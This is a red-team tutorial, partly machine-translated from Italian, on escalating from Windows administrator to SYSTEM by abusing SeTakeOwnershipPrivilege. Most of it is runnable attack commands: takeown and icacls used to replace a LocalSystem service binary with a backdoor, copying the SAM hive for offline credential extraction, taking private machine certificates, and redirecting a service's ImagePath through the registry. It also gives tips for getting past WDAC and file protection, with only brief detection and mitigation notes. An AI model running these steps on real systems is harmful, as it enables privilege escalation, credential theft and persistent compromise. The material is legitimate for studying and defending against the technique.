SeTakeOwnershipPrivilege: From Admin to SYSTEM with 3 Commands

You have SeTakeOwnershipPrivilege in the elevated token. Three commands: takeown to become an owner, icacls to give you full control, copy To replace the SYSTEM service binary. Works on any system file—service binaries, SAMs, certificates, registry keys.

Quick Exploit #

takeown /f "C:\Program Files\VendorApp\service.exe"
icacls "C:\Program Files\VendorApp\service.exe" /grant %username%:F
copy C:\temp\backdoor.exe "C:\Program Files\VendorApp\service.exe" /Y
sc stop NomeServizio && sc start NomeServizio

Expected output:

nt authority\system

Attack Chain #

Token elevato con SeTakeOwnershipPrivilege
  → sc qc NomeServizio → identifica binario LocalSystem
  → takeown /f [binary] → ownership acquisita
  → icacls [binary] /grant %username%:F → Full Control
  → copy backdoor.exe → [binary] → sc restart → SYSTEM

Tool Decision #

What is SeTakeOwnershipPrivilege #

Windows uses the concept of "owner" separate from ACL permissions: the owner of an object always has the right to modify the ACL, even if they don't have explicit permissions on the object. This privilege allows you to set yourself as the owner of any system object—files, directories, registry keys, kernel objects.

Assigned by default to Administrators , but Enabled only in the elevated token (UAC).

When it exists #

• Administrators (high token)
• Privileged IT accounts with policy “Take ownership of files or other objects”
• Server Operators in Active Directory

Verify:

whoami /priv

Looking for:

SeTakeOwnershipPrivilege    Take ownership of files or other objects    Enabled

If you see Disabled → Non-elevated token. Start an elevated process.

Who has privilege in the system:

accesschk.exe -a SeTakeOwnershipPrivilege *

Step 1 — Identify the target #

Find a SYSTEM service with binary in a path where ACLs block writing:

wmic service get name,startname,pathname | findstr /i "LocalSystem"

Verify the exact path:

sc qc NomeServizio

Output:

BINARY_PATH_NAME   : C:\Program Files\VendorApp\service.exe
OBJECTNAME         : LocalSystem

Step 2 — Take ownership of the file #

takeown /f "C:\Program Files\VendorApp\service.exe"

Output:

SUCCESS: The file (or folder): "C:\Program Files\VendorApp\service.exe" now owned by user "CORP\attacker".

Step 3 — Change the ACL to give you Full Control #

icacls "C:\Program Files\VendorApp\service.exe" /grant %username%:F

Output:

processed file: C:\Program Files\VendorApp\service.exe
Successfully processed 1 files; Failed processing 0 files

Step 4 — Replace the binary and get SYSTEM #

copy C:\temp\backdoor.exe "C:\Program Files\VendorApp\service.exe" /Y

sc stop NomeServizio

sc start NomeServizio

Output:

nt authority\system

variants #

Entire directories — recursive takeown #

To take ownership of an entire directory and all its contents:

takeown /f "C:\Program Files\VendorApp\" /r /d y

icacls "C:\Program Files\VendorApp\" /grant %username%:F /t

Access to sensitive files — SAM, certificates, config #

To access ACL-protected files without SeBackupPrivilege:

takeown /f C:\Windows\System32\config\SAM

icacls C:\Windows\System32\config\SAM /grant %username%:R

copy C:\Windows\System32\config\SAM C:\temp\sam.hive

Same procedure for SYSTEM hive, then secretsdump offline.

For private certificates in protected paths:

takeown /f "C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\" /r /d y

icacls "C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\" /grant %username%:F /t

dir "C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\"

Registry Key Ownership with SetACL #

For registry keys with restrictive ACLs, SetACL manages ownership and permissions in a single tool. Download from helgeklein.com/setacl :

SetACL.exe -on "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizio" -ot reg -actn setowner -ownr "n:%USERNAME%"

SetACL.exe -on "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizio" -ot reg -actn ace -ace "n:%USERNAME%;p:full"

Then edit ImagePath:

reg add "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizio" /v ImagePath /d "C:\temp\backdoor.exe" /f

sc stop NomeServizio && sc start NomeServizio

PowerShell — programmatic ownership #

For scripts that use the .NET API directly:

$path = "C:\Program Files\VendorApp\service.exe"
$acl = Get-Acl $path
$identity = [System.Security.Principal.NTAccount]"$env:USERDOMAIN\$env:USERNAME"
$acl.SetOwner($identity)
Set-Acl $path $acl

Then add Full Control:

$rule = New-Object System.Security.AccessControl.FileSystemAccessRule($identity, "FullControl", "Allow")
$acl.AddAccessRule($rule)
Set-Acl $path $acl

Finally replace the track:

Copy-Item C:\temp\backdoor.exe $path -Force

Real-world scenarios #

Legacy service with protected binary in path — binary in C:\Program Files\Legacy\app.exe with ACLs blocking overwrite, no SeRestorePrivilege available. takeown + icacls /grant + replacement → SYSTEM.

Config file with restricted access credentials — configuration file with clear credentials, restrictive ACLs. takeown → icacls /R → read the credentials → lateral movement.

Private certificates — machine authentication certificates in MachineKeys with restrictive ACLs. Ownership → copy → use the certificate for lateral authentication or decrypting TLS traffic.

Common mistakes #

takeown is successful but icacls /grant fails — You've taken ownership, but the file is locked for writing by a handle held by another process. Try stopping the service first: sc stop NomeServizio.

The binary is copied but the service doesn't start — WDAC blocks execution of the unsigned binary even with correct ownership and ACLs. Use a LOLBin loader or a signed binary.

The file in System32 is automatically restored — Windows Resource Protection (WRP) restores files in the system catalog. Use the services directory in C:\Program Files\ instead of System32.

icacls on registry key fails icacls It only manages files, not the registry. For registry keys, use SetACL.exe: SetACL.exe -on "HKLM\..." -ot reg -actn setowner -ownr "n:%USERNAME%".

Detection and bypass (Red Team view) #

When it fails #

• WRP on System32 core files → automatic recovery. Use C:\Program Files\
• WDAC / AppLocker → block execution of the replacement binary
• PPL → Protected Process process objects that cannot be modified via ownership
• Privilege Disabled → start a high process
• Service not restartable → check: sc sdshow NomeServizio

Detection #

• Event ID 4670: changing permissions on an object
• Event ID 4657: modifying registry keys
• Sysmon Event ID 11: FileCreate on system path by non-standard processes
• FIM on Critical Services Directory

Mitigations #

• WDAC — blocks execution of unsigned binaries regardless of ownership and ACL
• FIM on the tracks of critical services
• Limit SeTakeOwnershipPrivilege to strictly necessary accounts (secpol.msc)
• Enable “Object Access → Ownership Change” audit

Realistic note: In environments without WDAC (the majority), SeTakeOwnershipPrivilege allows silent replacement of any service binary. Ownership change auditing is not enabled by default—in many environments, ownership changes do not generate alerts.

FAQ #

What's the difference with SeRestorePrivilege? SeRestorePrivilege writes directly, bypassing ACLs in one step. SeTakeOwnershipPrivilege requires three steps but works on any object, including certificates and cryptographic keys, which the backup API doesn't cover.

Does Windows restore System32 files that I overwrite? WRP restores system catalog files. The binaries in C:\Program Files\ they are not protected — they are the correct target.

SeTakeOwnershipPrivilege is the master key for any ACL-protected Windows object — two lines unlock access to service binaries, private certificates, and sensitive registry keys.

Related articles:

• SeRestorePrivilege — one-step direct ACL bypass writing
• SeBackupPrivilege — reading ACL bypass without touching ownership
• SeRelabelPrivilege — MIC layer bypass, complementary

References: SetACL · Microsoft Docs

For a surface assessment of your infrastructure: hackita.it/servizi